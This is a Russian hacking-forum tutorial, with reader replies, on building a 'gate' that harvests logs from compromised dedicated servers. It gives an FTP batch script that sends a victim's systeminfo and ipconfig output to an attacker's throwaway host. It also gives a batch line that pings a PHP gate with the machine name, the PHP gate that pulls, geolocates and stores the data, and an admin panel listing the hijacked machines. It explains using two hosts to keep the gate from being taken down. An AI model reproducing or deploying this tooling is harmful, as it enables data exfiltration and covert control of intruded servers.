Это продолжение статьи [EasyHack] Dedicated Servers Сегодня я расскажу как написать простой гейт для логов с дедушки, для чего он нужен и как его использовать. Задача: накодить гейт на PHP, который бы ловил логи после запуска вышеуказонного батника, парсил бы их итд итп. Решение: Чтобы создать все это дело в одном батнике (да да, на деде будет для посылки логов на гейт запущен только батничек) я долго думал, как это реализовать. В конце концов я пришел к выводу, что надо просто заливать на фтп логи (а это логи системной информации и ipconfig - читай описание батника выше) и потом вызывать PHP скрипт который бы данные логи принял, сохранил и сделал все что нашей душе угодно. От теории к делу. Вот что нам потребуется: 1) фтп номер 1 - для слива свежих логов с какого-нибудь деда 2) фтп номер 2 - там будет стоять гейт, который с помощью пхп скрипта берет содержимое логов (по http) и добавляет к себе в базу. Обьясню зачем нам нужно 2 фтп, а не один для гейта. Дело в том, что батник, хоть он и упакован каким нибудь УПХ с паролем итд итп - все равно не спасет от того чтобы из данного батника выдернуть логин и пасс к фтп. Из этого следует простой вывод - если спалить логин и пасс от фтп, где стоит гейт, то можно этот гейт потерять, соответственно и потерять базу дедов, если есть таковая. Поэтому мы просто регаем фришный хостинг с фтп, и заливаем логи именно туда. Давайте реализуем сперва эту часть, а потом приступим к другой. Допустим мы зарегали хостинг Code: ftp://abcd:[email protected] Делаем фтп сервер для нашего батника: Code: o servachok.com abcd qwer cd logs send c:\windows\system32\infos\systeminfo.txt system.txt send c:\windows\system32\infos\ipc.txt ipconf.txt bye Сохраняем как ftpserv.cmd и добавляем в конце батника (главного, который выше) строку: Code: @ftp -s:"%CD%/ftpserv.cmd" При создании ехе из батника - не забываем добавить в "Include" файл ftpserv.cmd Вроде с заливкой логов на фтп проблем нет. Приступаем к следующей части. Теперь нам надо: 1) добавить вызов гейта в наш батничек 2) написать сам гейт + админочку Зачем нам вызывать гейт из батника? Затем что после заливки логов на принимающий фтп нам нужно об этом нашему гейту сказать - мол, давай, лови логи, гейт ты наш дорогой. Это очень просто: просто добавляем в конец батника данный код: Code: @start iexplore.exe "http://servak-pod-adminku.com/gate.php?name=%COMPUTERNAME%" Теперь пишем гейт на пхп: PHP: <?php if (isset($_GET['name'])) { //slivaem s podstavnogo ftp sistemnuyu infu deda $add_systeminfo = file_get_contents("http://abcd.servachok.com/logs/system.txt"); $add_systeminfo = base64_encode($add_systeminfo); $write = fopen("./logs/".$_SERVER['REMOTE_ADDR']."_sys.txt","w+"); fputs($write,$add_systeminfo); fclose($write); //slivaem s podstavnogo ftp ipconfig deda $add_ipc = file_get_contents("http://abcd.servachok.com/logs/ipconf.txt"); $add_ipc = base64_encode($add_ipc); $write = fopen("./logs/".$_SERVER['REMOTE_ADDR']."_ipc.txt","w+"); fputs($write,$add_ipc); fclose($write); //pishem infu, peredannuyu po http //ishem stranu i gorod po ip deda $strana = file("http://ip-whois.net/ip_geo.php?ip=".$_SERVER['REMOTE_ADDR']); $i = 0; for ($i=0;$i<count($strana);$i++) { if (strstr($strana[$i],"<input type=\"submit\" value=\"Узнать информацию о IP\">")) { $textf=$strana[$i+5]."\n".$strana[$i+7]."\n"; } } //pishem imya kompa, ip deda, stranu i gorod $add_inf = stripslashes(htmlspecialchars($_GET['name']))."\n".$_SERVER['REMOTE_ADDR']."\n".$textf; $add_inf = base64_encode($add_inf); $write = fopen("./logs/".$_SERVER['REMOTE_ADDR']."_inf.txt","w+"); fputs($write,$add_inf); fclose($write); header("Location: http://google.com"); } else { header("Location: http://google.com"); } ?> И файл .htaccess к нему: Code: php_flag allow_url_fopen on При вызове гейта из батника, он примет инфу и откроет гоогле. ) Переходим к админке: PHP: <html> <font face=verdana size=-1> <?php function show_ipc($serv) { if (file_exists("./logs/".$serv."_ipc.txt")) { $ipc=file("./logs/".$serv."_ipc.txt"); $ipc=stripslashes(htmlspecialchars(base64_decode($ipc[0]))); echo("<pre>".$ipc."</pre>"); } } function show_sys($serv) { if (file_exists("./logs/".$serv."_sys.txt")) { $sys=file("./logs/".$serv."_sys.txt"); $sys=stripslashes(htmlspecialchars(base64_decode($sys[0]))); echo("<pre>".$sys."</pre>"); } } function gf($path) { $folder=opendir($path); $i=0; while ($current_file=readdir($folder)) { if (($current_file != ".") && ($current_file != "..") && ($current_file != "Thumbs.db")) { $cf = $current_file; $cf = explode("_",$cf); $cf = $cf[0]; $items[$i]=$cf; $i=$i+1; } } closedir($folder); return($items); } if ($_GET['pass']=="12345") { if (($_GET['m']!="ipc") && ($_GET['m']!="sys")) { $dediki = gf("./logs/"); $dediki = array_unique($dediki); $i=0; for ($i=0;$i<count($dediki);$i++) { $cur_ded = $dediki[$i]; $info = file("./logs/".$cur_ded."_inf.txt"); $info = base64_decode($info[0]); $info = explode("\n",$info); $name = $info[0]; $ip = $info[1]; $strana = strip_tags(trim($info[2])); $gorod = $info[3]; echo("<div style=\"margin:10px;border-top:2px black solid;padding:5px;border-left:2px black solid;padding:5px;border-bottom:0px;border-right:0px;\">"); echo("<font color=gray>Computer Name:</font><font color=black> ".$name."</font><br>"); echo("<font color=gray>IP of DS:</font><font color=black> ".$ip."</font><br>"); echo("<font color=gray>Geo:</font><font color=black> ".$strana.", ".$gorod."</font><br>"); echo("<a href=\"./adm.php?m=sys&pass=" . $_GET['pass'] . "&d=" . $cur_ded . "\" target=\"_blank\" style=\"color:blue;margin-right:20px;\">System Info</a>"); echo("<a href=\"./adm.php?m=ipc&pass=" . $_GET['pass'] . "&d=" . $cur_ded . "\" target=\"_blank\" style=\"color:blue;margin-right:20px;\">IP Config</a>"); } } if ($_GET['m']=="ipc") { show_ipc($_GET['d']); } if ($_GET['m']=="sys") { show_sys($_GET['d']); } } else { header("Location: http://google.com"); } ?> </font> </html> Вызов админки идет примерно так: http://servak-pod-adminku.com/adm.php?pass=12345 В ней у нас будут рассортированы дедики... Любые добавления / пожелания / моддинг данного гейта,админки - приветствуется.
лол, сейчас смотрел статью и увидел, что забыл в прошлый раз запостить код админки! ну я даю.. ) вобщем теперь там и админка.
почему то у меня логи на фтп не приходят, создал два файл info.bat и ftpserv.cmd положил оба файла на диск С:\ запускаю info.bat, но логи не приходят, может хостинг хреновый?
я имею в виду логи на первый ftp (фтп номер 1 - для слива свежих логов с какого-нибудь деда) не приходят!
значит проверь: правильный ли адрес фтп-сервера, правильный ли логин/пасс от фтп,существуют ли файлы сис-инфы и айпиконфига, есть ли на фтп папка "logs", стоят ли на папке logs chnod 777 chmod реализуется на пхп таким скриптом: из хостингов советую попробовать (у меня самого другой) freehostia.com
1. загрузка файлов на фтр не пашет. пишет не верные команды 2. загрузил файлы на фтп в ручную . сделал запрос на гейт . захожу в админку просто белый екран
Базы данных нынче юзать не модно?? fopen, fwrite рулит? Совет не плоди плагиат таких исходников гейтов в сети тонны...и systeminfo даст более полную информацию о машине. При всем уважении...
не у всех фрихостов есть бд ты хоть сравнивал? )) при необходимости можно и сисинфо добавить, только логи диксдиаг более полные
НУ КОНЕЧНО ЖЕ НЕ У ВСЕХ)) ДА)) А ТО!! КАЖДЫЙ ДЕНЬ СРАВНИВАЮ АДМИНКИ ДЛЯ ЗОМБИ _ЛЭНДОВ. ВОТ УЖЕ ПРЯМ ВСЕ СРАВНИЛ ЗАВТРА ОТЧЕТ ПРЕДОСТАВЛЮ))) ps. Все с чего-то начинают, я все понимаю, но может пока не стоит писать статьи и учить остальных тому, что сам не знаешь в совершенстве)) Удачи в будущих проектах. ссори за оффтоп более не буду)))